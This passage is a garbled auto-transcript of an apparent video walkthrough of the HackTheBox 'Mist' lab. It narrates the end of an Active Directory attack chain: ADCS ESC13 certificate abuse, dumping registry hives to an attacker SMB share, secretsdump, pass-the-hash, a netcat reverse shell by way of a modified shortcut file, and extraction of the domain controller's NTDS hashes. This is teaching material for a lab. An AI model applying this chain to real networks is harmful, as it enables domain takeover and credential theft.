period and this will start installing certify so we have to um switch users a few times right what was it so we're here we need to do adcs 13 to certificate managers so we can start the request so proxy chain let's just make sure we have how do we run certify there we go so proxy chains certify then we can do a request U SVC CA backup at Mist HTP hashes we want to go ahead and grab this again grab this paste that okay then DCI IP 192 16800 100 DNS", "start": 6735.56, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "192 16800 100 the ca is missed dc01 CA and the um Target is going to be the DC so dc01 missed htb the template is I don't think that's a name of the template let's see go to Cipher query does this give the names I think this is the name manager authentication if not then we're going to have to um run the find vulnerable cuz that'll say but manager authentication and then we specify key size if we don't specify key size let's see the error I know we had specify key size 4096 so this will take probably 30 seconds to run if we did all the um things correctly so the public key does not meet the minimum size so let's do das key size 4096 and that should match it requesting so this will give us a certificate as long as we can connect let's see proxy chains failed Das Target for this I think see I wonder if there's a debug the debug of B right trying to resolve okay", "start": 6845.04, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "that's good save the certificate is it really the casing that matters just testing this out saved okay so maybe it was just like a weird networking glitch but we have saved the pfx file so now we are the manager authentication and we want to now become the um backup authentication because if we do the pathf finding we are here we want to now do the um adcs esc13 to become a service account so let's now um switch our certificate to use this pfx file so we're going to use um certify off uh pfx the service account then DCI ip2 16800 100 let do proxy chains and we want to Output the certificate in Kirby format and then we going to convert it over into CC cache so we can just do Python 3 ticket uh is it just ticket converter there we go um SV C Kirby to SVC CA backup CC cache okay export K5 CC name is equal to this", "start": 6964.639, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "cache file so now when we run CER P again it's going to be using our new certificate so we're pretty much running the same command we did before right we do the certify um the user is going to be the ca backup we don't want to log in with ntlm hash because we have a modified certificate so we specify keros give it the no password flag um dcip DNS is fine the ca stays the same the T Target stays the same the template is going to be the backup service account so Backup Service um what is it authentication I think it was not account Cipher Backup Service authentication like that we'll leave the debug on because when we didn't have debug it like gave us networking errors okay this looks good so now we have a key again as this service c a backup so what we want to do is switch to this so let's um what was the first command we did we did the", "start": 7067.28, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "Kirby right okay then we can do the CC cach okay so now this ticket that we have should be um what is it the backup service authentication which is a member of the service accounts which can back up the server so let's try this I'm going to going to do proxy chains R.P which is just the um impacket thing we'll do - k no pass miss. htb SVC CA backup at dc1 missed htb we'll back up the register keys to 10 10 148 share and we have to start a impacket server so CD share do we already have that we don't mkd share then pseudo SMB server.py does this exist SMB server and packet SMB server awesome smb2 support and then what is it um the share name and the location 445 is already in use that will be the relay right let's see this one this window there we go okay start this and I really hope we did everything right it looks like we did", "start": 7155.639, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "awesome um server cannot respond we did something wrong with this our impacket may be wrong see DH share name share path that is right smb2 support let's see let's just go into do we have a VM with impacket pseudo Su Source VM bin activate I wonder maybe it can't like do Anonymous I don't know that should be fine SNB server. okay we have SB server.py now this be a newer version of impacket SM SMB server.py smb2 support share PWD let's run this again that's looking better so it looks like the SMB server like or impacket version just um wasn't up to date enough to save this so we're getting the Sam hiive and then after this is going to be system so while that goes let's just again talk about what we did um so we started out as this user and then we ran the certify command that put us as a certificate manager we", "start": 7290.119, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "reimported the certificate after we authenticated and then that let us do the ESC 13 account to service accounts so now we are um was this one do we have all that syntax what was it see template Backup Service authentication I want to say it was this so once we're certificate managers we did another attack to become a CA backup which then enabled us to be service accounts and that let us um impersonate the SVC CA backup user or didn't let us impersonate let us be in this group like our certificate says um we're in that group so still waiting on all these files to download they are relatively big if we go to CD share duhs um it's at five Megs now so I'm going to pause the video and we'll resume uh when it's done so it's finished a few times but every time it is just timing out when trying to copy the system registry flag so if I do a DHS we can", "start": 7411.639, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "see it's 18 Megs and if I try to do a secret stump on it so we'll do Secret stump local Sam Sam save system system save oh it looks like it actually worked so we can get the administrator hash so I guess you may just have to try it a few times and occasionally um you'll copy enough where it does work um a few times I tried it and it just did not so let's see if this actually will authenticate us so we'll do - administrator and then put this password in as the hash and this should get us as pwned there but it doesn't I wonder if we just viewed the wrong data 5e is that what I put 5 E1 1221 that is cat notes it's definitely a different hash we'll add the local user flag to this or maybe SMP we should be able pass the hash on L local user see what was the local flag local local off so I wonder if because it did not complete successfully that maybe we got", "start": 7502.199, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "like a bad decryption key and the hash is wrong cuz that is really bizarre so what I'm actually going to try to do is see if we can find a place we can write so if we look at this let's see we do das Das shares we have to change this to SMB and if we can write to a place on active directory such as the cisv then we should be able to right to the CIS VA evil winrm to the Box copy it to the web directory and download it over HTTP and avoid like copying over proxy chains because I think that's where the issue is coming from so let's do SMB client.py uh- hases we can specify that SV CCA backup at 192 16800 100 this will US log in and I just want to see what the cisv looks like see if we can find a directory to write to so shares use sisv maybe a net log on as well um that's also readable by every everyone uh", "start": 7629.32, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "LS Miss htb let's write to scripts let's see if we can write here because I bet if we went here and we tried to write to like ms01 at C dollar this is definitely not going to work right yeah access denied so I think we may be able to write to miss. htb this fall then mist.", "start": 7722.48, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "htb oh we want to add scripts I may want a trailing slash but it looks like it is writing and it wrote that wickedly fast oh man so I think this is actually going to work um sweet if I do a DI or LS we have all the files we could probably do like an SMB get on these files but let's let's complete the logic and um download them over HTTP like imagining we couldn't do proxy change or something right so if I cat notes uh we have the local administrator hash so we can definitely use no we can't use that um because local administrator is not going to have permission over CIS ball we need op Sharon's password um that was the KP CLI thing um was it time yes this is it so let's see if this user has remote access okay evil when RM - I 192 16800 101 - op Sharon Mard put that in and if we also had that reverse shell", "start": 7766.079, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "as is it Brandon keyw warp that would also work right but this hopefully does we did proxy chains one yeah why are you not establishing does this not have remote access I thought this was in the win orm group um Blood Hound search op Sharon help bound member of maybe not execution privilege PS remote oh I Can PS remote to dco1 that was unexpected okay I can well I don't want to be on the DC because that's not running a web server um does Brandon have remote capabilities let's see nope Sharon okay we got to get a shell as Brandon uh who am I that Shell's probably dead by now yep there's the Chisel tunnels Kraken okay so let's do this again and then we can hit this this should get us the shell so now we're local user on this box if I do who am I yes so we want to edit the link so we'll cat lnk and this is going to get us a shell as branded in um", "start": 7860.199, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "keyw so RL WP NC lvmp 901 so once we'll brand in keyw warp we'll be a member of the domain on this box and members of The Domain have access to the sisv so I should be able to download the registry copies to this box and then copy them to the um dubdub duub directory and they I'll be able to get all the hashes this way so this definitely should work so I'm going to pause the video cuz this can take like a minute or two for this shell to come back so we'll pause it and then come back when we are branded okay we have a connection back so let's go to examp then HD docs and this is where all the files are so we can do a um I think it's copy in Windows and CPN Linux so we'll do copy miss. htb cisv miss.", "start": 8004.76, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "htb scripts star is this going to work we have all the save files this is looking good so let's go and download them so we can go 10 10 117 sam. saave let's save this in we're going to make a new directory and call this reg dump we can save that then we can just save system then we can save what's the last one security okay so if we go in R dump we have all the files so I just want to do md5 some against these and md5 some against the ones in they were share right yeah so the system the a so that's different 32 the Sam is also different oddly enough see they are the same size so I guess for some reason it just never copied the security save I bet if we just reran that it would copy the security save and then we'd be golden but okay um that's weird but if you're having issues and not getting the full 17 or 18 Megs of", "start": 8066.239, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "the system Hive at least you know a way around that that I think there's a step I'm forgetting on this box we did not specify local okay now with the security Hive we have more data this is the same hash we were trying right so this just must be an old administrator password cuz um it's probably in the ntds.dit database now so it's like long gone out of the local Sam is my only guess right now let's see right here no there we go yeah this is definitely the same hash maybe not was that the same I can't tell I think it was 5c before but still does not work but what we do have is the machine account so we should be able to use Secrets dump with this and then um actually get like the ntds.dit database so let's do Secret stump hashes that then we can just specify um what is it dco1 miss.", "start": 8178.199, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "hdb is that going to work let's see no route to host proxy chain we're going to specify a user probably dco1 like that special character there we go so now we have the administrator where is it right here and this is the latest hash so we do this one this better work there we go soed so now we can just do um let's do wmi exact then we can say hashes this administrator at2 16800 100 proxy chains and there we go so we can do CD back SL users administrator desktop and I think this is where the flag is going to be yep root. text so I do want to do one last thing so if we do Secret stump there is two flags so I like doing the password last set uh user status and history so I'm going to dump everything we should be able to do this with the same hash we had yep so administrator let's see do we have his password history we may not maybe the password", "start": 8263.24, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}} +{"text": "policy isn't set nope we don't get password history okay I was going to see if we could see if the hash we had out the am database was old but um it doesn't look like we can tell or maybe one second we can get rid of those flags real quick this will just give us less output to look at but administrator password last set 20 24224 okay and we can go to the local PWD last set does this tell us it does not I guess the password set date is not stored in the Sam but I'm guessing out of the registry the password is outdated it's moveed to ntds.dit and we have the more up-to-date password but that is going to be the Box hope you guys enjoyed it take care and I will see you all next time", "start": 8381.84, "duration": 0.0, "meta": {"video_id": "5osU3Igzv_Y", "title": "HackTheBox - Mist", "url": "https://www.youtube.com/watch?v=5osU3Igzv_Y"}}